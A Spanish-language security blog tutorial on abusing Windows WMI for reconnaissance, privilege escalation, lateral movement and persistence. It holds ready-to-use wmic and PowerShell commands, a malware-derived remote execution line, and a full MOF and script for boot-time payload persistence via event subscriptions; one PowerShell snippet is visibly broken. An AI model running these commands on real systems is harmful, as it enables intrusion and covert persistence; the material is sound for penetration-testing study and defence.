Entendiendo los ataques con WMI

Windows Management Instrumentation (WMI) está compuesto por un poderoso conjunto de herramientas que se utilizan para administrar los sistemas Windows, tanto de forma local como remota, y está presente desde Windows NT 4.0 (NT requería un addon, Windows 2000 ya lo soportaba nativamente). Aunque estaba destinado a los administradores de sistemas, WMI ha ido ganando popularidad para la perspectiva del atacante por su capacidad para realizar movimiento lateral, persistencia, ejecución de código y como comando y control (C2).

WMI es la implementación de Microsoft de los estándares Web-Based Enterprise Management (WBEM) y Common Information Model (CIM) publicados por Distributed Management Task Force (DMTF). 

WMI representa la mayoría de los datos relacionados con la información y las acciones del sistema operativo en forma de objetos. Un objeto es miembro de una clase, una clase es miembro de un espacio de nombres y todos los espacios de nombres derivan del espacio de nombres "Raíz".

El siguiente paper muestra ejemplos de cómo enumerar, buscar y usar espacios de nombres, clases y objetos a través de múltiples herramientas y métodos como PowerShell, WQL (lenguaje de consulta WMI), WMI Code Creator y otros. Las clases de WMI se pueden encontrar en el sitio https://msdn.microsoft.com/en-us/library/aa394554(v=vs.85).aspx

Como he comentado inicialmente, WMI puede usarse en remoto. Actualmente, existen dos protocolos que permiten consultas de objetos remotos, registro de eventos, ejecución de métodos de clase WMI y creación de clases:

DCOM TCP Port 135
WinRM TCP Ports 5985 (HTTP ) y 5986 (HTTPS).

Estos protocolos se consideran ventajosos para un atacante porque la mayoría de las organizaciones y proveedores por lo general no inspeccionan el contenido de este tráfico en busca de señales de actividad maliciosa. 

Los servicios iniciados con WMI se ejecutan como nt system y obviamente la ejecucion de tasks solo esta reservada a admins, pero si un atacante obtiene esos privilegios podrá aprovechar WMI local y remotamente y obtendrá un puerta a todo un mundo para la post-explotación.

Veamos como se puede aprovechar WMI queridos y malignos lectores ;)

Reconocimiento

WMI es una excelente herramienta para hacer reconocimiento durante un ataque. Dada su naturaleza además es bastante difícil de identificar en algunos escenarios. Para esta primera fase vamos a usar WMIC que básicamente es la interfaz en línea de comandos para acceder al marco de WMI, con la ventaja adicional de que numerosas consultas están predefinidas. Es decir, no tendremos que dedicar tiempo a aprender demasiado el lenguaje de consulta WMI (WQL), que es sintácticamente similar a SQL.

WMIC está incluido en la instalación predeterminada de Windows XP (excluyendo la edición Home) y Windows Server 2003. Aunque WMIC no está incluido en Windows 2000 ni NT 4.0, podemos usar WMIC de forma remota contra estos sistemas obsoletos, aunque mal (o bien según se mire) iría la cosa si estamos auditando sistemas operativos de hace 20 años...
    
La mayoría de los comandos con WMIC siguen el siguiente formato: wmic [credentials] [area] [querystring]

Aunque la lista de comandos es amplísima, a continuación os mostramos algunos comandos bastante recomendables para reconocimiento:

COMPUTERS
- Enumeración de equipos: wmic computersystem LIST full
- Sistema operativo: wmic os LIST Full (* para obtener el nombre del OS, usa la propiedad "caption")
- Número de serie del SO: wmic /node:"HOST" bios get serialnumber
- Product number: wmic /node:"HOST" baseboard get product
- Discos: wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber
- Periféricos: wmic path Win32_PnPdevice
- Programas al inicio:
    . wmic STARTUP GET Caption, Command, User
    . wmic startup list full
- Antivirus: wmic /namespace:\\root\securitycenter2 path antivirusproduct
- Actualizaciones instaladas: wmic qfe list brief
- Listado de directorios y búsqueda de archivos:
    . wmic DATAFILE where "path='\\Users\\test\\Documents\\'" GET Name,readable,size
    . wmic DATAFILE where "drive='C:' AND Name like '%password%'" GET Name,readable,size /VALUE
- Listar procesos:
    . wmic process list
    . Proceso específico: wmic process list brief find "cmd.exe"
- Listar servicios: wmic service list
- Mostrar variables de entorno: wmic environment list
- Listar todos los equipos (computers):
    . wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname
    . wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname

USUARIOS
- Cuentas de usuario locales: wmic USERACCOUNT Get Domain,Name,Sid
- Listar grupos locales: wmic group list brief
- Información de dominio y DC: wmic NTDOMAIN GET DomainControllerAddress,DomainName,Roles /VALUE
- Información de usuarios de dominio: wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='testAccount'" GET
- Listar todos los usuarios: wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname
- Listar todos los grupos: wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname
- Listar miembros de un grupo:
    . wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value
    . wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="YOURDOMAINHERE"")

Escalado de privilegios

WMI es una excelente opción para escalar privilegios dado que nos devuelve información detallada del sistema y, de ahí, la posibilidad de encontrar fallos de configuración que nos faciliten nuestro camino hacia los permisos elevados.

El siguiente comando para encontrar servicios "unquoted" busca el nombre del servicio, la ruta de ejecutable, el nombre del servicio y si se inicia automáticamente, en todos los directorios excepto en C:\ Windows\ (ya que por defecto no existe tal servicio que tenga espacios y no esté entre comillas en esta carpeta). Además, debemos excluir los servicios que están entre comillas dobles.

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """

No voy a entrar en detalle para no extenderme demasiado, pero ya sabéis que si encontramos algún servicio unquoted, este se lanza con permisos elevados y además podemos escribir en alguno de sus subdirectorios podemos poner nuestro binario/payload con una shell reversa y WIN!

Y si hasta ahora sólo habíamos usado comandos con wmic vamos a empezar a introducir Powershell, que incluye cmdlets para CIM/WMI desde su versión 1.0. Por ejemplo con el cmdlet Get-WmiObject podemos encontrar procesos con privilegios elevados que posteriormente pueden ser atacados:

$Owners = @{}
Get-WmiObject -Class win32_process | Where-Object {$_} | ForEach-Object {$Owners[$_.handle] = $_.getowner().user}


Y con el siguiente podemos encontrar todas las rutas a ejecutables .exe de servicios que tienen algún espacio y no están entrecomillados:

$VulnServices = Get-WmiObject -Class win32_process | Where-Object {$_} | Where-Object {($_.pathname -ne $null) -and ($_.pathname.trim() -ne "")} | Where-Object {-not $_.pathname.StartsWith("`"")} | Wherer-Object {-not $_.pathname.StartsWith("'")} |  Where-Object

Por otro lado, uno de los scripts de facto para escalar privilegios en Windows es PowerUp.ps1 de harmj0y que por supuesto también utiliza WMI para un montón de comprobaciones: https://github.com/HarmJ0y/cortana/blob/master/beacon/PowerUp.ps1 


Movimiento lateral

La posibilidad de ejecutar comandos remotamente mediante WMI es una auténtica "navaja suiza" para cualquier atacante, de hecho numerosos artefactos de malware, algunos tan notorios como WannaCry, NotPetya y BadRabbit, utilizan wmic para encontrar unidades remotas y 'process call create' para expandirse a lo largo de la red local:

wmic.exe PROCESS CALL CREATE \"C:\\Windows\System32\\rundll32.exe\\\"C:\Windows\\perfc.dat\\\"

De hecho el framework ATT&CK de MITRE tenemos una técnica específica (T1047) para esta ejecución remota mediante WMI:

wmic /node:10.0.0.6 /user:administrator process call create "cmd.exe /c calc"


Persistencia

Por lo general, la persistencia a través de la suscripción de eventos WMI requiere la creación de las siguientes tres clases que se utilizan para almacenar el payload o el comando que queremos ejecutar, para especificar el evento que activará el payload y para relacionar las dos clases (__EventConsumer y __EventFilter) de modo que la ejecución y el trigger puedan enlazarse juntos.

 __EventFilter // Trigger (nuevo proceso, logon fallido etc.)
 __EventConsumer // Realiza la acción (ejecuta payload etc.)
 __FilterToConsumerBinding // Enlaza las clases Filter y Consumer

A menudo, estos tres pasos son incluidos dentro de un archivo MOF (Managed object format) que contiene declaraciones, clases e instancias de clases que se agregan al repositorio de WMI (OBJECTS.DATA) cuando se compila el archivo (mofcomp.exe es parte de Windows). Un ejemplo de archivo MOF se muestra a continuación:

#PRAGMA NAMESPACE ("\\\\.\\root\\subscription")
instance of CommandLineEventConsumer as $Cons
{
    Name = "Pentestlab";
    RunInteractively=false;
    CommandLineTemplate="cmd.exe";
};
instance of __EventFilter as $Filt
{
    Name = "Pentestlab";
    EventNamespace = "root\\subscription";
    Query ="SELECT * FROM __InstanceCreationEvent Within 3"
            "Where TargetInstance Isa \"Win32_Process\" "
            "And Targetinstance.Name = \"notepad.exe\" ";
    QueryLanguage = "WQL";
};
instance of __FilterToConsumerBinding
{ 
     Filter = $Filt;
     Consumer = $Cons;
};

El archivo MOF anterior ejecutará cmd.exe cuando se cree el proceso notepad.exe en el sistema y se puede implementar en el repositorio de WMI ejecutando el siguiente comando: 

mofcomp.exe .\wmi.mof 

Como veis, utilizamos la utilidad de Microsoft "mofcomp.exe" para compilar el archivo MOF. El archivo se almacenará automáticamente en el repositorio de WMI y el payload/comando malicioso se ejecutará automáticamente. 

Otro ejemplo, la ejecución de los siguientes comandos creará en el espacio de nombres de "root\subscription" tres eventos. El payload se ejecutará en 60 segundos cada vez que se inicie Windows.  

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="PentestLab", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="PentestLab", ExecutablePath="C:\Windows\System32\pentestlab.exe",CommandLineTemplate="C:\Windows\System32\pentestlab.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"PentestLab\"", Consumer="CommandLineEventConsumer.Name=\"PentestLab\""


Y también tenemos la opción de powershell, que como decíamos contiene cmdlets que pueden consultar objetos WMI y recuperar información en la consola. Los siguientes comandos se pueden utilizar para validar que se han creado los eventos arbitrarios y que el payload/comando malicioso se almacena en el repositorio de WMI.

Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer


Luego el siguiente script block ejecutará el ejecutable  "pentestlab.exe" dentro de los 5 minutos posteriores a cada inicio de Windows.
$FilterArgs = @{name='Pentestlab-WMI';
                EventNameSpace='root\CimV2';
                QueryLanguage="WQL";
                Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs
 
$ConsumerArgs = @{name='Pentestlab-WMI';
                CommandLineTemplate="$($Env:SystemRoot)\System32\pentestlab.exe";}
$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs
 
$FilterToConsumerArgs = @{
Filter = [Ref] $Filter;
Consumer = [Ref] $Consumer;
}
$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs

Como habéis podido observar esta técnica no requiere ningún toolkit, ya que Windows por defecto ya incluye WMIC y también se puede usar PowerShell. Sin embargo, se pueden usar varios frameworks como Metasploit, Empire, PoshC2, PowerSploit y múltiples scripts de PowerShell y herramientas en C# para automatizar esta técnica, proporcionando diferentes triggers y varias opciones para ejecutar código. Cabe recordar que los eventos WMI se ejecutan como un SYSTEM, persisten después de reiniciar y se requieren privilegios de administrador para utilizar esta técnica.

Evil-WinRM


WinRM (Windows Remote Management) está basado en el protocolo WS-Management y también tiene un componente WMI como servicio que habilita la implementación de clases WMI para la obtención de datos de hardware locales. Así que no podíamos despedir este post sin hablaros de una fantástica herramienta que usa WinRM (HTTPAPI) para darnos una shell interactiva, entre otras malignas características. Se trata de Evil-WinRM de nuestros colegas Cybervaca, OscarAkaElvis y Laox y que podéis encontrar en nuestro repo de Github: https://github.com/Hackplayers/evil-winrm.

Happy WMI hacking!

Fuentes y referencias:

Comentarios